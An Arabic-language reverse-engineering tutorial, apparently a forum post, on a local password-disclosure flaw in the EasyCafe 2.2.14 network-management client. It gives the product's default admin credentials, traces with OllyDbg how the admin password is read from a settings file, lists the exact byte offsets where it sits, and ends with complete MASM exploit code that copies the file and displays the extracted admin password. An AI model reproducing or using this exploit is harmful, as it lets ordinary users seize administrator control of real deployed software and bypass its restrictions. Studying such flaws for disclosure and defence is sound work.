السلام عليكم ورحمة الله تعالى وبركاته. الحمد لله رب العالمين والصلاة على رسول الله الكريم اما بعد. مقدمة: درسنا اليوم إن شاء الله عن ثغرات Password Discoluser ،تعتبر هذه الثغرات من اخطر انواع الثغرات من جهة انها تمكنك من كشف الباسوردات و الحسابات الخاصة في برنامج معين،هذا الدرس لن يكون نظري بحت او تطبيقي بحت بل سيجمع بينها لكي يكون لدينا جيل يفهم ويعرف التطبيق ينتشر هذا النوع من الثغرات في البرامج التالية: 1- برامج حماية الخصوصية. 2-برامج مراقبة الجهاز و التحركات التي تتم فيه . 3-برامج المحادثة و تبادل الملفات و سكريبات PHP . المهم بصفة عامة هي جميع البرامج التي تطلب من المستخدم او يقوم فيها المستخدم بتخزين كلمات السر لغرض ما. على سبيل المثال: قمت بتنصيب برنامج KGBspy المتخصص في مراقبة الجهاز و منع دخول مواقع معينة ويفرض بعض القيود. وقمت بإدخال جميع الإعدادت ومن بينها كلمة السر،اين تظن انها تخزن....طبعا في الجهاز وهنا المشكلة فيمكن لأي احد ان يقوم بإستخراج الباسورد . بصفة عامة هذا النوع من الثغرات يعتمد على إقتناص الباسوردات المخزنة في مكان معين سواءا كان في ملف او حتى من الذاكرة. سنبدأ في الشرح بإذن الله وذلك على تطبيق من الواقع وهو برنامج إدارة الشبكات EasyCafe المقدم من شركة TINASOFT. الأدواة: -OllyDBG 1.10 او اي نسخة تريد. -FileMon. نبدأ: مقدمة عن البرنامج: البرنامج مختص في إدراة الشبكات ،في الشركات،او في شبكات مقاهي الأنترنت يتميز البرنامج بقوته في عدة اشياء. الدقة وتوفر جميع الميزات التي يتمنها مدير الشبكة في عمله وما يلفت الإنتباه في البرنامج إعتماده على ضبط تحركات المستخدم وضع قيود تصل إلى درجة فلترة الإتصال من وإلى جهاز اخر. مرحلة الشرح و التحليل: الثغرة عبارة عن عيب في البرنامج يمكن المخترق او اي مستخدم عادي عن طريق الإستثمار بإستخراج باسورد ال ADMIN الذي يكون له جميع الصلاحيات. تسيمة الثغرة: EasyCafe2.2.14 Local Password Discolusre. المكتشف: DATA_SNIPER الثغرة في برنامج Client اي البرنامج المثبت في الأجهزة الموجودة في الشبكة. ملاحظة: Client=هو البرنامج المتحكم فيه و الذي يكون مثبت في الأجهزة. Server=هو البرنامج الذي يتحكم في برامج ال Client الموزعة في الشبكة. لنقم بتحديد بعض النقاط قبل الإنطلاق في التحليل: 1-البرنامج يقوم بتخزين الباسورد في مكان ما. 2-عند تحميل البرنامج بالطبع سيقوم بتحميله إلى الذاكرة عن طريق دوال التعامل بالملفات CreateFileA و ReadFile ما سنقوم به الآن بتحديد الملف الذي يتم فيه تخزين الباسورد،جيد... لكن كيف نعرف؟ الآن يأتي دور برنامج FileMon (برنامج يقوم بمارقبة عمليات الإنشاء و الكتابة للملفات في النظام). الان سنقوم بتثبيت برنامج Client ثم تشغيله،ستظهر لك شاشة زرقاء (ليست شاشة ميكروسوفت لا تخف :PP ) عبارة عن فلاش تظهر لك رسالة تطلب منك إدخال إسم المستخدم وكلمة السر،أدخل الكلمات الإفتراضية هي: TINASOFT EASYCAFE طبعا الان انت داخل بصلاحيات الأدمن والهدف من هذه العملية هي مراقبة البرنامج ومعرفة اين يتم تخزين الباسورد. الان دخلت شاهد الصورة،اضغط دبل كليك على TrayIcon الموجودة في الأسفل هي جديدة وعبارة عن جهازين ملتصقين تظهر لك مثل الصورة،بعد الضغط على Options
HANDLE CreateFile( LPCTSTR lpFileName, // مؤشر للمتغير الذي يحمل إسم الملف DWORD dwDesiredAccess, // العملية المراد إجرائها على الملف DWORD dwShareMode, // نمط المشاركة بين العمليات،اي انك بعد فتح المقبض للملف يمكنك ان تحدد نوع المشاركة في الملف مع العمليات الأخرى حذف او قرائة او كتابة. LPSECURITY_ATTRIBUTES lpSecurityAttributes, // لا يهمك DWORD dwCreationDistribution, // كيف يتم التعامل مع الملف في حالة وجوده او عدم وجوده DWORD dwFlagsAndAttributes, // لتحديد نوع الملف،مخفيي ،للقرائة فقط،ملف نظام.... HANDLE hTemplateFile // مقبض لملف تستطيع اخذ الإعدادات منه. );
BOOL ReadFile( HANDLE hFile, // المقبض المرجع من طرف الدالة CreateFileA LPVOID lpBuffer, // عنوان لمساحة في الذاكرة او مؤشر لمتغير الذي سيتقبل البينات من الملف DWORD nNumberOfBytesToRead, // عدد البيانات المراد قرائتها LPDWORD lpNumberOfBytesRead, // بفر يتم كتابة فيها عدد البايتات التي تم قرائتها LPOVERLAPPED lpOverlapped // بها بعض التعقيدات لاذلك لا تحتجها لأننا طور التحليل فقط );
LEA EAX,DWORD PTR SS:[EBP-0xD0] MOV EDX,DWORD PTR DS:[0x4E7650] MOV DL,BYTE PTR DS:[EDX+0x14] MOV BYTE PTR DS:[EAX+0x1],DL MOV BYTE PTR DS:[EAX],0x1 LEA EDX,DWORD PTR SS:[EBP-0xD0] LEA EAX,DWORD PTR SS:[EBP-0xD4] CALL 0x0403144
LEA EAX,DWORD PTR SS:[EBP-0xD0] // يشير إلى عنوان في المكدس الذي سيتم فيه تخزين الحرف الأول من الباسورد "مسبوقا ب 01" بعد إستخراجه EAXجعل المسجل MOV EDX,DWORD PTR DS:[0x4E7650] // نقل عنوان المساحة التي تم الكتابة فيها والتي هي تحتوي الان على البيانات من ملف الإعدادات
MOV DL,BYTE PTR DS:[EDX+0x14]
MOV BYTE PTR DS:[EAX+0x1],DL
MOV BYTE PTR DS:[EAX],0x1
LEA EAX,DWORD PTR SS:[EBP-0xD8] // يشير إلى عنوان في المكدس الذي سيتم فيه تخزين الحرف الثاني من الباسورد بعد إستخراجه EAXجعل المسجل MOV EDX,DWORD PTR DS:[0x4E7650] // كالعادة عنوان المساحة التي تحتوي على بيانات الملف.
MOV DL,BYTE PTR DS:[EDX+0x22]
MOV DL,BYTE PTR DS:[EDX+0x??]
MOV DL,BYTE PTR DS:[EDX+0x14] MOV DL,BYTE PTR DS:[EDX+0x22] MOV DL,BYTE PTR DS:[EDX+0x28] MOV DL,BYTE PTR DS:[EDX+0x30] MOV DL,BYTE PTR DS:[EDX+0x3D] MOV DL,BYTE PTR DS:[EDX+0x68] MOV DL,BYTE PTR DS:[EDX+0x6E] MOV DL,BYTE PTR DS:[EDX+0x85] MOV DL,BYTE PTR DS:[EDX+0xCA] MOV DL,BYTE PTR DS:[EDX+0xE3]
0x14,0x22,0x28,0x30,0x3D,0x68,0x6E,0x85,0xCA,0xE3
14,34,40,48,61,104,110,133,202,277
invoke CopyFile,addr easyPath,addr newPath,0invoke CreateFile,addr newPath,GENERIC_READ,FILE_SHARE_READ and FILE_SHARE_WRITE ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE and FILE_ATTRIBUTE_HIDDEN,0mov FileHandle,eaxinvoke ReadFile,FileHandle,addr filecontent,121h,addr address,0xor eax,eaxxor edx,edxmov eax,offset password///////////////إستخراج الباسورد من البيانات/////////////////mov dl,byte ptr [filecontent+14h]MOV BYTE PTR DS:[eax],dlmov dl,byte ptr [filecontent+22h]MOV BYTE PTR DS:[eax+1h],dlmov dl,byte ptr [filecontent+28h]MOV BYTE PTR DS:[eax+2h],dlmov dl,byte ptr [filecontent+30h]MOV BYTE PTR DS:[eax+3h],dlmov dl,byte ptr [filecontent+3Dh]MOV BYTE PTR DS:[eax+4h],dlmov dl,byte ptr [filecontent+68h]MOV BYTE PTR DS:[eax+5h],dlmov dl,byte ptr [filecontent+6Eh]MOV BYTE PTR DS:[eax+6h],dlmov dl,byte ptr [filecontent+85h]MOV BYTE PTR DS:[eax+7h],dlmov dl,byte ptr [filecontent+0cah]MOV BYTE PTR DS:[eax+8h],dlmov dl,byte ptr [filecontent+0E3h]MOV BYTE PTR DS:[eax+9h],dl//////////////////////////////////////////////////////////////////invoke MessageBox,0,addr password,addr titl,MB_OKinvoke CloseHandle,FileHandle